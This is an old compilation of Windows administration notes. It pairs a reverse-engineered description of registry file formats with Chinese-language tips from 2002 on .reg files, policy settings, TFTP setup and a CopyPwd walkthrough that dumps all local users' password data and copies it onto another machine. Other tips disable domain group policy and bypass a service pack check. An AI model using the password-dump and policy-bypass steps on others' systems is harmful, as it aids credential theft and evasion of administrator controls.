PROFILES\%USERNAME%\NTUSER.DAT User-Specific part
(HKEY_CURRENT_USER\{S-1-xxx...})
PROFILES\%USERNAME%\NTUSER.MAN like NTUSER.DAT but a
MANDATORY-profile
If you are using a ROAMING-profile with windows NT, NTUSER.xxx can be on
a network-share as well...
Terms
=====
The registry consists of the following elements:
Hive: strating point of the structure. The name of an hive starts
with the "HKEY_"-prefix. Can be seen as a "drive" in a file
system.
Hive name Beschreibung 3.1 95 NT4
HKEY_CLASSES_ROOT Points to the "class" key in
the "HKEY_LOCAL_MACHINE" hive,
the only hive in windows 3.?? X X X
HKEY_CURRENT_USER Information and settings valid
for the currently logged in
user. (Points to the correct X X
key under "HKEY_USERS")
HKEY_CURRENT_CONFIG Settings for the currently
active hardware profile.
Points to "HKEY_LOCAL_MACHINE\ X X
CONTROL\CONTROLSETxxx
HKEY_USERS Contains all currently active
user settings. Since NT is a
single user system, there
will be only one key (the S-ID X X
of the active user), and a
".DEFUALT" key (The settings
for the CTRL-ALT-DEL environment)
HKEY_LOCALMACHINE All local settings X X
HKEY_DYN_DATA As the name says, here you'll find X
dynamic data (CPU-usage,...)
Key: A key to the registry can be seen as a directory in a file
system.
Value: can be seen as the registrys "file"
Data: is the actual setting, can be seen as the contents of a
file
Windows 3.x
===========
This registry is the easiest one. It consists of 3 blocks, which are not
"signed" at all:
Block Position Size
Header 0 32 Bytes
Navigation-Info 0x00000020 ???
Data-Block ??? ???
The "???" marked values can be read from the header.
Header
======
Offset Size Description
0x0000 8 Byte ASCII-Text: "SHCC3.10"
0x0008 D-Word ?
0x000C D-Word ? (always equal the D-Word at 0x0008)
0x0010 D-Word Number of entrys in the navigation-block
0x0014 D-Word Offset of the data-block
0x0018 D-Word Size of the data-block
0x001C Word ?
0x001E Word ?
Values marked "?" are not important for a read-access, and therefore unknown
to me...
Navigation-Block
================
This is where chaos rules! It consists of two different, 8 byte long blocks:
* Navigation-Info-Record,
* Text-Info-Record
The first record in the navigation block is a navigation info record.
Navigation-Info-Record
Offset Size Contents
0x00 Word Next Key (same level)
0x02 Word First Sub-Key (one level deeper)
0x04 Word Text-Info-Record Key-Namens
0x06 Word Text-Info-Record Key-Value (default)
The values are the locical number of the block inside the file:
offset=blocksize*blocknumber+headersize
since 2 of this values are constant:
offset=8*blocknumber+0x20
Text-Info-Record
================
Offset Size Contents
0x00 Word ?
0x02 Word number of references to this text
0x04 Word Text-length
0x06 Word Offset of the text-string inside the data-block
To get the text-offset inside the file you have to add this offset to the
data-offset inside the header.
Data-Block
==========
The data-block only consists of a collection of text-strings. Right in front
of every text is a word which may or may not have a meaning. The offset in
the text-info record points directly to the text, the text-size has to be
defined in the text-info record too.
Windows 95
==========
the Windows95-Registry Files:
inside the windows-directory (default: C:\WINDOWS) are 2 files which are
loaded to form the registry:
SYSTEM.DAT
and
USER.DAT
This files are mapped to the following hives:
HKEY_LOCAL_MACHINE in SYSTEM.DAT
and
HKEY_USERS in USER.DAT
The file structure:
===================
Both files have the same structure. Each of them consists of 3 blocks where
1 of these blocks can be repeated.
Every block has a 4 byte long signature to help identify its contents.
ID Block-contents Max. size
CREG Header 32 Bytes @ Offset 0
RGKN Directory information
(Tree-structure) ??? @ Offset 32
RGDB The real data
(Values and data) max. 65535 Bytes an Offset ??
these blocks are "sticked together" with no space between them, but always
a multiple of 16 in size.
the CREG-Block
==============
Offset Size Inhalt
0x00000000 D-Word ASCII-"CREG" = 0x47455243
0x00000008 D-Word Offset of 1st RGDB-block
0x00000010 D-Word # of RGDB-blocks
all other values are not needed to read the registry...
the RGKN-Block
==============
I assume that RGKN stands for ReGistry-Key-Navigation. This block contains
the information needed to built the tree-structure of the registry. This
block will be larger then 65536 bytes (0xFFFF)!
All offset-values are RELATIVE to the RGKN-block!
Offset Size Contents
0x00000000 D-Word ASCII-"RGKN" = 0x4E4B4752
0x00000004 D-Word Size of the RGKN-block in bytes
0x00000008 D-Word Rel. Offset of the root-record
0x00000020 ???? Tree-Records (often the 1st Record)
the Tree-Record
===============
The tree-record is a "complete" registry-key. It contains the "hash"-info
for the real data stored in this key.
Offset Size Contents
0x0000 D-Word Always 0
0x0004 D-Word Hash of the key-name
0x0008 D-Word Always -1 (0xFFFFFFFF)
0x000C D-Word Offset of the owner (parent)-records
0x0010 D-Word Offset of the 1st sub-sey record
0x0014 D-Word Offset of the next record in this level
0x0018 D-Word ID-number of the real key
the 1st entry in a "usual" registry file is a nul-entry with subkeys: the
hive itself. It looks the same like other keys. Even the ID-number can
be any value.
The "hash"-value is a value representing the key's name. Windows will not
search for the name, but for a matching hash-value. if it finds one, it
will compare the actual string info, otherwise continue with the next key.
End of list-pointers are filled with -1 (0xFFFFFFFF)
The ID-field has the following format:
Bits 31..16: Number of the corresponding RGDB-blocks
Bits 15..0: continuous number inside this RGDB-block.
The hash-method:
================
you are looking for the key: Software\Microsoft
first you take the first part of the string and convert it to upper case
SOFTWARE
The "\" is used as a seperator only and has no meaning here.
Next you initialize a D-Word with 0 and add all ASCII-values of the string
which are smaller than 0x80 (128) to this D-Word.
SOFTWARE = 0x0000026B
Now you can start looking for this hash-value in the tree-record.
If you want to modify key names, also modify the hash-values, since they
cannot be found again (although they would be displayed in REGEDIT)
the RGDB-Block
==============
Header:
Offset Size Contents
0x0000 D-Word ASCII-"RGDB" = 0x42444752
0x0004 D-Word Size of this RGDB-block
0x0020 ???? RGDB Records
RGDB-Record (Key-Information)
=============================
Offset Size Contents
0x0000 D-Word record length in bytes
0x0004 D-Word ID-number
0x0008 D-Word ??? Size ???
0x000C Word text length of key name
0x000E Word Number of values inside this key
0x0010 D-Word always 0
0x0014 ???? Key-name
0x???? ???? Values
The first size (record length) can be used to find the next record.
The second size value is only correct if the key has at least one value,
otherwise it is a little lower.
The key-name is not 0-terminated, its length is defined by the key-
text length field. The values are stored as records.
Value-Record
============
Offset Size Contents
0x0000 D-Word Type of data
0x0004 D-Word always 0
0x0008 Word length of value-name
0x000A Word length of value-data
0x000C ???? value-name
0x???? ???? data
Data-Types
==========
value Contents
0x00000001 RegSZ - 0-terminated string (sometimes without the 0!)
0x00000003 RegBin - binary value (a simple data-block)
0x00000004 RegDWord - D-Word (always 4 bytes in size)
Windows NT (Version 4.0)
========================
Whoever thought that the registry of windows 95 and windows nt are similar
will be surprised! They only look much the same, but have completely other
structures!
Since the RGDB-blocks in the windows 95 registry are not larger than
0xFFFF, we can see that it is optimized for a 16-bit OS...
Windows NT stores its registry in a page-oriented format with blocks
of 4kb (4096 = 0x1000 bytes)
The windows NT registry has 2 different blocks, where one can occure many
times...
the "regf"-Block
================
"regf" is obviosly the abbreviation for "Registry file". "regf" is the
signature of the header-block which is always 4kb in size, although only
the first 64 bytes seem to be used and a checksum is calculated over
the first 0x200 bytes only!
Offset Size Contents
0x00000000 D-Word ID: ASCII-"regf" = 0x66676572
0x00000004 D-Word ????
0x00000008 D-Word ???? Always the same value as at 0x00000004
0x0000000C Q-Word last modify date in WinNT date-format
0x00000014 D-Word 1
0x00000018 D-Word 3
0x0000001C D-Word 0
0x00000020 D-Word 1
0x00000024 D-Word Offset of 1st key record
0x00000028 D-Word Size of the data-blocks (Filesize-4kb)
0x0000002C D-Word 1
0x000001FC D-Word Sum of all D-Words from 0x00000000 to 0x000001FB
I have analyzed more registry files (from multiple machines running
NT 4.0 german version) and could not find an explanation for the values
marked with ???? the rest of the first 4kb page is not important...
the "hbin"-Block
================
I don't know what "hbin" stands for, but this block is always a multiple
of 4kb in size.
Inside these hbin-blocks the different records are placed. The memory-
management looks like a C-compiler heap management to me...
hbin-Header
===========
Offset Size Contents
0x0000 D-Word ID: ASCII-"hbin" = 0x6E696268
0x0004 D-Word Offset from the 1st hbin-Block
0x0008 D-Word Offset to the next hbin-Block
0x001C D-Word Block-size
The values in 0x0008 and 0x001C should be the same, so I don't know
if they are correct or swapped...
From offset 0x0020 inside a hbin-block data is stored with the following
format:
Offset Size Contents
0x0000 D-Word Data-block size
0x0004 ???? Data
If the size field is negative (bit 31 set), the corresponding block
is free and has a size of -blocksize!
The data is stored as one record per block. Block size is a multiple
of 4 and the last block reaches the next hbin-block, leaving no room.
Records in the hbin-blocks
==========================
nk-Record
The nk-record can be treated as a kombination of tree-record and
key-record of the win 95 registry.
lf-Record
The lf-record is the counterpart to the RGKN-record (the hash-function)
vk-Record
The vk-record consists information to a single value.
sk-Record
sk (? Security Key ?) is the ACL of the registry.
Value-Lists
The value-lists contain information about which values are inside a
sub-key and don't have a header.
Datas
The datas of the registry are (like the value-list) stored without a
header.
All offset-values are relative to the first hbin-block and point to the block-
size field of the record-entry. to get the file offset, you have to add
the header size (4kb) and the size field (4 bytes)...
the nk-Record
=============
Offset Size Contents
0x0000 Word ID: ASCII-"nk" = 0x6B6E
0x0002 Word for the root-key: 0x2C, otherwise 0x20
0x0004 Q-Word write-date/time in windows nt notation
0x0010 D-Word Offset of Owner/Parent key
0x0014 D-Word number of sub-Keys
0x001C D-Word Offset of the sub-key lf-Records
0x0024 D-Word number of values
0x0028 D-Word Offset of the Value-List
0x002C D-Word Offset of the sk-Record
0x0030 D-Word Offset of the Class-Name
0x0044 D-Word Unused (data-trash)
0x0048 Word name-length
0x004A Word class-name length
0x004C ???? key-name
the Value-List
==============
Offset Size Contents
0x0000 D-Word Offset 1st Value
0x0004 D-Word Offset 2nd Value
0x???? D-Word Offset nth Value
To determine the number of values, you have to look at the
owner-nk-record!
Der vk-Record
=============
Offset Size Contents
0x0000 Word ID: ASCII-"vk" = 0x6B76
0x0002 Word name length
0x0004 D-Word length of the data
0x0008 D-Word Offset of Data
0x000C D-Word Type of value
0x0010 Word Flag
0x0012 Word Unused (data-trash)
0x0014 ???? Name
If bit 0 of the flag-word is set, a name is present, otherwise the
value has no name (=default)
If the data-size is lower 5, the data-offset value is used to store
the data itself!
The data-types
==============
Wert Beteutung
0x0001 RegSZ: character string (in UNICODE!)
0x0002 ExpandSZ: string with "%var%" expanding (UNICODE!)
0x0003 RegBin: raw-binary value
0x0004 RegDWord: Dword
0x0007 RegMultiSZ: multiple strings, seperated with 0
(UNICODE!)
The "lf"-record
===============
Offset Size Contents
0x0000 Word ID: ASCII-"lf" = 0x666C
0x0002 Word number of keys
0x0004 ???? Hash-Records
Hash-Record
===========
Offset Size Contents
0x0000 D-Word Offset of corresponding "nk"-Record
0x0004 D-Word ASCII: the first 4 characters of the key-name,
padded with 0's. Case sensitiv!
Keep in mind, that the value at 0x0004 is used for checking the
data-consistency! If you change the key-name you have to change the
hash-value too!
The "sk"-block
==============
(due to the complexity of the SAM-info, not clear jet)
Offset Size Contents
0x0000 Word ID: ASCII-"sk" = 0x6B73
0x0002 Word Unused
0x0004 D-Word Offset of previous "sk"-Record
0x0008 D-Word Offset of next "sk"-Record
0x000C D-Word usage-counter
0x0010 D-Word Size of "sk"-record in bytes
????
???? ???? Security and auditing settings...
????
The usage counter counts the number of references to this
"sk"-record. You can use one "sk"-record for the entire registry!
Windows nt date/time format
===========================
The time-format is a 64-bit integer which is incremented every
0,0000001 seconds by 1 (I don't know how accurate it realy is!)
It starts with 0 at the 1st of january 1601 0:00! All values are
stored in GMT time! The time-zone is important to get the real
time!
Common values for win95 and win-nt
==================================
Offset values marking an "end of list", are either 0 or -1 (0xFFFFFFFF).
If a value has no name (length=0, flag(bit 0)=0), it is treated as the
"Default" entry...
If a value has no data (length=0), it is displayed as empty.
simplyfied win-3.?? registry:
=============================
+-----------+
| next rec. |---+ +-----> +------------+
| first sub | | | | Usage cnt. |
| name | | +--> +------------+ | | length |
| value | | | | next rec. | | | text |-------> +-------+
+-----------+ | | | name rec. |--+ +------------+ | xxxxx |
+------------+ | | value rec. |--------> +------------+ +-------+
v | +------------+ | Usage cnt. |
+-----------+ | | length |
| next rec. | | | text |-------> +-------+
| first sub |------+ +------------+ | xxxxx |
| name | +-------+
| value |
+-----------+
Greatly simplyfied structure of the nt-registry:
================================================
+-------------------------------------------------------------------------+
v |
+---------------+ +-------------> +-----------+ +------> +---------+ |
| "nk" | | | lf-rec. | | | nk-rec. | |
| ID | | | # of keys | | | parent |---+
| Date | | | 1st key |--+ | .... |
| parent | | +-----------+ +---------+
| suk-keys |-------+
| values |---------------------> +----------+
| SK-rec. |---------------+ | 1. value |--> +----------+
| class |--+ | +----------+ | vk-rec. |
+---------------+ | | | .... |
v | | data |--> +-------+
+------------+ | +----------+ | xxxxx |
| Class name | | +-------+
+------------+ |
v
+---------+ +---------+
+-----> | next sk |---> | Next sk |--+
| +---| prev sk | <---| prev sk | |
| | | .... | | ... | |
| | +---------+ +---------+ |
| | ^ |
| +--------------------+ |
+------------------------------------+
--------------------------------------------------------------------------------
Hope this helps.... (Although it was "fun" for me to uncover this things,
it took me several sleepless nights ;)
“.reg”文件全攻略
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:59
有的时候为了方便修改注册表,我们会制作一些脚本,但是不管是inf文件还是vbs脚本,我觉得还是只有.reg文件是最方便的。
关于注册表的操作,常见的是创建、修改、删除。
--创建
创建分为两种,一种是创建子项(Subkey)
注:如果你对注册表的命名不是很清楚,可以看看注册表命名标准手册(http://www.sometips.com/tips/registryhack/204.htm)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“Test4Adam”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]
"Test1"="Adam"
"Test2"=hex:61
"Test3"=dword:00000064
Test1的类型是“String Value”
Test2的类型是“Binary Value”
Test3的类型是“DWORD Value”
注意:如果你的注册表中不存在Test4Adam这个子项,那么该脚本会为你创建该子项。
--修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入即可,在此我就不再赘述。
--删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]
"Test1"=-
执行该脚本,HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam下的"Test1"就被删除了;
我们再看看删除一个子项,我们创建一个如下的脚本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam]
执行该脚本,HKEY_LOCAL_MACHINE\SOFTWARE\Test4Adam就已经被删除了。
相信看到这里,.reg文件你基本已经掌握了。
最后,在此感谢John Savill。
Active Directory中如何使用单独的端口进行域复制?
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:59
AD中域复制使用动态RPC,端口不唯一,在部署防火墙时往往会无所适从,但是我们可以通过修改Domain controller的注册表来实现在一个端口来进行域复制:
HKLM\CurrentControlSet\Service\NTDS\Parameters
添加一个新的键“TCP/IP Port”,然后将该键的值设置为你所想要的端口(最好是大于1024),然后重新启动机器即可。
建立注册DLL和反注册DLL文件的快捷方式
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:58
DLL files Register and Unregister
有的程序员经常要注册或者反注册自己写的dll文件,加一个快捷方式会减少自己的工作量:
[HKEY_CLASSES_ROOT\dllfile\shell\Unregister]
"Command"="regsvr32 %1 /u"
[HKEY_CLASSES_ROOT\dllfile\shell\Register]
"Command"="regsvr32 %1"
当我们需要注册或者反注册dll时,只要在该dll文件上按下鼠标右键即可!
NT的注册表文件存放位置
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:57
%system%\system32\config目录下有这样一些文件
sam.* Security Account Manager,安全帐号管理器
default.* 默认注册表文件
security.* 安全性注册文件
system.* 系统注册文件
software.* 应用软件注册表文件
注册表中最重要的文件是那些没有扩展名的文件,也就是当前注册表文件。还有一个名为system.alt文件,这个就是注册表的副本。
%system%\system32\config目录下扩展名为log或sav的文件中包含的是历史信息,
可以通过时间浏览器来查看。比如:.sav文件是在最近一次系统正常引导过程中保
存的,而.log文件则记录了注册表审核功能启用过程中对注册表所进行的修改。
虽然你可以删除.log和.sav文件可以删除,但是我并不希望你珍惜这一点点磁盘空
间。
注意:不要替换注册表文件的某一个或者某几个文件,这样会造成注册表文件的不
同步,极易造成系统的崩溃。
禁止使用域的组策略
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:56
Hive: HKEY_LOCAL_MACHINE
Key: Software\Policies\Microsoft\Windows\System
Name: DisableGPO
Type: REG_DWORD
Value: 1
Windows 2000注册表数据类型
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:55
Data Types in the Windows 2000 Registry
Data types define what kind of data an entry can store. The following data types are used by entries in the Windows 2000 registry:
REG_BINARY
Raw binary data. Most hardware component information is stored as binary data. It can be displayed in an easy-to-read format by using Windows 2000 Diagnostics. REG_BINARY data can be displayed and entered in binary or hexadecimal format in a registry editor.
For example,
PagingFiles.
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Data type Range Default value
REG_BINARY Name Minimum(MB) Maximum(MB) C:\Pagefile.sys 27 77
REG_DWORD
Data represented by a number that is 4 bytes (32 bits) long. Boolean (0 or 1) values and many entries for device drivers and services take this data type. REG_DWORD data can be displayed in binary, hexadecimal, or decimal format in a registry editor.
For example,
ActivityLogFlag
HKLM\SYSTEM\CurrentControlSet\Services\DhcpServer\Parameters
Data type Range Default value
REG_DWORD 0 | 1 0
REG_DWORD_LITTLE_ENDIAN
Same as REG_DWORD. A 32-bit number in which the most significant byte is displayed as the leftmost or high-order byte. This is the most common format for storing numbers in computers running Windows 2000 and Windows 98.
REG_DWORD_BIG_ENDIAN
A 32-bit number in which the most significant byte is displayed as the rightmost or low-order byte. This is opposite of the order in which bytes are stored in the REG_DWORD and REG_DWORD_LITTLE_ENDIAN data types.
REG_EXPAND_SZ
A variable-length text string. REG_EXPAND_SZ data can include variables that are resolved when an application or service uses the data. For example, the value of File includes the variable Systemroot.
For Example,
When the Event Log service references the File entry, this variable is replaced by the name of the directory containing the Windows 2000 system files.
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\File Replication Service
File entry:
Data type Range Default value
REG_EXPAND_SZ Path and file name %SystemRoot%\system32\config\NtFrs.Evt
REG_LINK
Indicates a symbolic link between system or application data and a registry value. You can use Unicode characters in a REG_LINK entry.
REG_MULTI_SZ
Multiple text strings formatted as an array of null-terminated strings, and terminated by two null characters. Values that contain lists or multiple values in a form that people can read usually take this data type. The values in a REG_MULTI_SZ entry can be separated by spaces, commas or other marks.
For example, the value of Machine is a list of paths accessible by all remote users of Windows 2000.
HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths
Machine
Data type Range Default value
REG_MULTI_SZ Registry paths SYSTEM\CurrentControlSet\Control\ProductOptions
SYSTEM\CurrentControlSet\Control\Print\Printers
SYSTEM\CurrentControlSet\Services\Eventlog
SOFTWARE\Microsoft\Windows NT\CurrentVersion
REG_SZ
A fixed-length text string. Boolean ("True" or "False") values and other short text values usually have this data type.
For example,
Wallpaper
HKCU\Control Panel\Desktop
Data type Range Default value
REG_SZ [Path]File name | (Blank value) 空值
REG_FULL_RESOURCE_DESCRIPTOR
A series of nested arrays designed to store a resource list for a hardware component or driver. For example, in Regedt32, double-click ConfigurationData (in HKEY_LOCAL_MACHINE\Hardware\Description\System \MultifunctionAdapter\0\ControllerName\0).
regedit.exe的参数
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:55
filename 导入 .reg 文件进注册表
/s 导入 .reg 文件进注册表(安静模式)
/e 导出注册表文件
例:regedit /e filename.reg HKEY_LOCAL_MACHINE\SYSTEM
/L:system 指定 system.dat
/R:user 指定 user.dat
/C 压缩 [文件名] (Windows 98)
还有一些参数也是可以用的,比如/a,但是我尝试后发现功能无非就是上述这些!而且测试参数很容易导致你的注册表加倍庞大,实在是一个很危险的工作。
不过也不会导致系统崩溃,大家胆子大的就大胆去try吧!
重新安装 Windows 2000 后密码的恢复
Author: Adam
Date: 2002-2-3 2:35:47
在Windows 2K 的日常管理中,我们无可避免地会碰到重新安装Windows 2K 的时候,资料的备份可以有很多方式实现,用户的属性备份也可以通过 ADSI 脚本或者通过 Addusers 工具(见Windows 2000 Resource Kits)来实现,但是用户的密码,我们可能必须重新设置了,对于一台拥有上百用户的服务器来说,用户的抱怨将会给管理员带来很大的压力和麻烦,现在给大家推荐一款不错的好东东--CopyPwd,用来备份用户的密码。
下载地址:
http://www.sometips.com/soft/copypwd.zip
(老外还是比较牛,一个多礼拜就完成了这个玩艺的开发,内附源代码)
下面介绍一下用来作实验的两台机器,一台是中文Windows 2000 Server(取名为S1),一台是中文Windows 2000 Pro(取名为S2),两台皆为StandAlone的机器。当然,这个工具也能用在NT4的StandAlone和域结构中,但是偶没有进行过测试。
闲话少说,开始实验:我们首先在S1上进行如下的操作:
D:\copypwd>net user adam ILoveAdam! /add
命令成功完成。
//创建用户adam,密码为"ILoveAdam!"
D:\copypwd>copypwd.exe dump > copypwd.txt
//将S1所有用户密码dump出来,不要修改copypwd.txt这个文件名,btw,如果这个操作在你的机器上无法完成的话,你可以离开本页继续到浩瀚无垠的Internet上继续遨游了,Forgot me,就像忘记清晨开放在你窗前的那朵小花... :)
D:\copypwd>notepad copypwd.txt
//修改copypwd.txt文件,将与adam无关的行删除并存盘,由于我们在测试的时候只对一个用户进行测试,所以只保留了adam一行,如果你需要备份多个用户,你可以保留与那些用户相关的lines
我们将操作转移到 S2 上,首先我们可以测试一下 S2 上是否可以执行 copypwd dump,如果不行,你就自认倒霉吧,至于为什么有的机器能执行有的机器不能执行不在本文讨论范围之列,大家可以与 PWDump的作者-Jeremy Allison <jra@cygnus.com> 联系。
C:\>net user adam ILoveAdam! /add
命令成功完成。
//创建一个 adam 帐号,在这里我们使用的net user创建的该帐号,当然,我们也可以用 AddUsers来创建,这样我们能保留更多与用户相关的咨询,AddUser 具体使用可以参见Windows 2000 Resources Kits的手册。
C:\>copy file://192.168.X.X/copypwd/copypwd.txt .
已复制 1 个文件。
//将备份的copypwd.txt文件复制到 S2
C:\>copypwd.exe set
Set password for user adam
//密码恢复成功,不管你在 S2 上创建的密码是什么,现在的密码都是 "ILoveAdam!"
需要值得注意的一点,在我们实施完该操作后,该用户的"User must change password at next logon"开关被Enable了,所以在测试的时候会碰到一些问题,因此我们必须在用户管理器中Uncheck这个选项,当然,我们也可以通过命令行的方式来实现,所以在这里推荐一个Resource Kits里面的一个工具 cusrmgr,首先看看它的帮助:
CUsrMgr Ver 1.0 Jan98 by G.Zanzen (c) MCS Central Europe
Sets a random password to a user
usage: -u UserName [-m file://MachineName/] \\ default LocalMachine
Resetting Password Function
-p Set to a random password
-P xxx Sets password to xxx
User Functions
-r xxx Renames user to xxx
-d xxx deletes user xxx
Group Functions
-rlg xxx yyy Renames local group xxx to yyy
-rgg xxx yyy Renames global group xxx to yyy
-alg xxx Add user (-u UserName) to local group xxx
-agg xxx Add user (-u UserName) to global group xxx
-dlg xxx deletes user (-u UserName) from local group xxx
-dgg xxx deletes user (-u UserName) from global group xxx
SetProperties Functions
-c xxx sets Comment to xxx
-f xxx sets Full Name to xxx
-U xxx sets UserProfile to xxx
-n xxx sets LogonScript to xxx
-h xxx sets HomeDir to xxx
-H x sets HomeDirDrive to x
+s xxxx sets property xxxx
-s xxxx resets property xxxx
where xxxx can be any of the following properties:
MustChangePassword
CanNotChangePassword
PasswordNeverExpires
AccountDisabled
AccountLockout
RASUser
【老规矩,字数不够帮助凑】
我们激活用户的语法是:
D:\copypwd>cusrmgr -u adam -s MustChangePassword
这样,我们的操作就完成了...
【后记】
需要感谢的是 Chuck McCullough<chuck@systemtools.com>,偶这个想法在多年前就有了,该死的一直叮叮不帮我写代码,而Shotgun这个鸟人现在号称只做开发管理,不再Coding,所以只有靠老外了...大家有兴趣也可以研究一下老外的代码...有什么心得也可以让偶学习学习...
Windows NT 4.0在安装SP5/SP6时,系统报告说使用了高等级的加密包而中断Service Pack的安装?
Author: Adam
Date: 2002-1-13 18:35:04
如果你在你的Windows NT 4.0安装了IE 5.5或更高版本后,再安装Service Pack,你会收到如下的错误:
You have chosen to install a version of the Service Pack with Standard Encryption onto a system with High Encryption. This is not supported. To successfully install this version of the Service Pack, you must install the High Encryption version. Press Help for more information about obtaining the High Encryption Version of this Service Pack. Service Pack Setup will now exit.
以前在论坛有人提出将%systemroot%\system32目录下的schannel.dll替换成以前版本的dll文件即可安装,但是如果你管理的公司有10台或以上这样的Windows NT,这样将会大大的增加你的工作量,所以,我推荐你使用以下的方法:
1.首先将Service Pack解包(执行SP5.exe /x,指定目录为此c:\temp\sp)
2.修改c:\temp\sp\i386\update\update.inf文件
3.找到[CheckSecurity.System32.files]
4.在以下行的前面添加一个分号
Schannel.dll
Security.dll
Ntlmssps.dll
5.使用update.exe来安装Service Pack
如何为Windows 2000创建一个tftp service
Author: Adam
Date: 2002-1-13 18:35:04
近日在论坛总是看到有人问怎么启动Win2K下的TFTP服务,其实在默认情况下TFTP服务是没有安装的,只有在使用RIS服务的时候才会安装该服务(国内很少有人用这个玩艺,可能我是井底之蛙吧),现在我给大家示范如何来安装一个tftp服务(如果你有需要的话,阁下是网管还是XX呢?)
我们首先找到系统中的tftpd.exe文件,一般我们可以在%systemroot%\system32\dllcache目录下找到该文件,建议把该文件copy到其他目录。
C:\>copy %systemroot%\system32\dllcache\tftpd.exe %systemroot%\system32
已复制 1 个文件。
我们会用Windows 2000下的Resource Kits中的一个工具instsrv创建一个服务,instsrv的用法如下,当然,你也可以用其他的工具来实现(如srvinstw,GUI方式的)。
C:\>instsrv
Installs and removes system services from NT
INSTSRV <service name> (<exe location> | REMOVE)
[-a <Account Name>] [-p <Account Password>]
Install service example:
INSTSRV MyService C:\MyDir\DiskService.Exe
-OR-
INSTSRV MyService C:\mailsrv\mailsrv.exe -a MYDOMAIN\joebob -p foo
Remove service example:
INSTSRV MyService REMOVE
[俺的特色:字不够,帮助凑!]
添加一个服务,注意,该服务创建侯为自动启动。
C:\>instsrv tftp c:\winnt\system32\tftpd.exe
The service was successfuly added!
Make sure that you go into the Control Panel and use
the Services applet to change the Account Name and
Password that this newly installed service will use
for its Security Context.
启动服务
C:\>net start tftp
tftp 服务正在启动 .
tftp 服务已经启动成功。
测试服务是否正常工作
C:\>tftp -i 61.135.21.195 PUT sometips.gif sometips.gif
Transfer successful: 4209 bytes in 1 second, 4209 bytes/s
C:\>dir tftpdroot
驱动器 C 中的卷是 C
卷的序列号是 1E23-1907
C:\tftpdroot 的目录
2001-09-22 01:14 <DIR> .
2001-09-22 01:14 <DIR> ..
2001-09-22 01:14 4,209 sometips.gif
1 个文件 4,209 字节
2 个目录 94,113,792 可用字节
注意,如果你上传文件,系统会在%systemdrive%自动创建一个名为tftproot的目录,OK,所有的工作已经完成了!
Enjoy it!
注:俺在网上没有找到任何相关的资料,我猜想tftpd应该还有一些参数,比如指定tftproot目录等等,我按unix下的in.tftpd的参数测试了一下,没有成功,大家有兴趣就自己测试一下吧!:)
为什么我浏览网上邻居的时候很慢?怎样解决?
Author: momo
Date: 2002-1-13 18:35:03
:因为通过网上邻居浏览其它计算机的时候,2000会县搜索自己的共享目录和可作为网络共享的打印机以及计划任务中和网络相关的计划任务,所以导致速度慢。
启动注册表编辑器regedit
找到 HKEY_LOCAL_MACHINE/sofeware/Microsoft/Windows/Current Version/Explore/RemoteComputer/NameSpace
删除{2227A280-3AEA-1069-A2DE08002B30309D}(打印机)
删除{D6277990-4C6A-11CF8D87-00AA0060F5BF}(计划任务)
再次打开的时候就会发现速度比以前提高很多了。
Netlogon Error Message
Author: Feras Sabha
Date: 2002-1-13 18:35:03
We recently enhanced our network with switched Ethernet technology. All the servers and workstations in the network run Windows NT 4.0 with the latest service pack. Although this enhancement provided a faster network, it presented a problem that hadn't previously occurred.
When booted, some of the faster workstations in the network (Pentium III processor—class systems) reported a Netlogon error (event ID 5719—No Windows NT Domain Controller is available for domain) in the System event log. Sometimes, if the user logged off and logged on again without restarting the computer, all services would start without problems. None of the slower computers produced this error message.
After trying workarounds such as upgrading the NIC software, I hadn't found a solution. Finally, I came across the Microsoft article "Increase Domain Logon Timeout over Network" (http://support.microsoft.com/support/kb/articles/q163/2/04.asp), which provided a solution: Use a registry editor to add the ExpectedDialupDelay parameter of type REG_DWORD to the HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\Netlogon\Parameters subkey. This value has a range of 0 to 600 seconds. To find the right timeout value, I experimented a bit and came up with a value for my network of from 4 to 8 seconds. My theory is that this logon delay is necessary to let the switches build entries in their routing tables as soon as the client starts.
安装IIS 5.0 DIY
Author: Adam
Date: 2002-1-13 18:35:02
在安装Windows2000的时候,如果你选择了安装IIS,那么在安装的时候系统将会你的%SystemDrive%里创建一个InetPub目录,而且还会在Inetpub目录下创建一个Scripts目录,IIS还会创建一个虚拟目录SCIPTS指向该目录,并且给这个目录执行权限。前段时间NSFocus安全小组研究发现的“Unicode解码目录遍历漏洞”大部分问题就是针对Web站点的可执行目录而言的,所以我们建议把该目录移到非系统盘在一定程度上可以保证一定的安全。
然而在我们选择安装系统组件的时候,无法自己定义IIS的安装盘符,所以才有了今天的这篇文章。:)
我们在安装系统的时候不选择安装IIS,等系统安装完成后手动来做,我们可以使用无人值守的方式自定义安装IIS 5.0。首先确认你的 Windows 2000的安装介质是可用的,本例中的安装介质是光盘,因此只要将安装光盘插入光驱即可,然后在你的硬盘或者软盘上创建一个无人值守安装文件,本例中我们将在D盘创建一个 IIS5install.txt 作为无人值守安装文件,下面我们看看该文件的内容:
[Components] 所安装的组件
iis_common = on 公用文件
iis_inetmgr = on IIS管理器
iis_www = on WWW服务
iis_ftp = on FTP服务
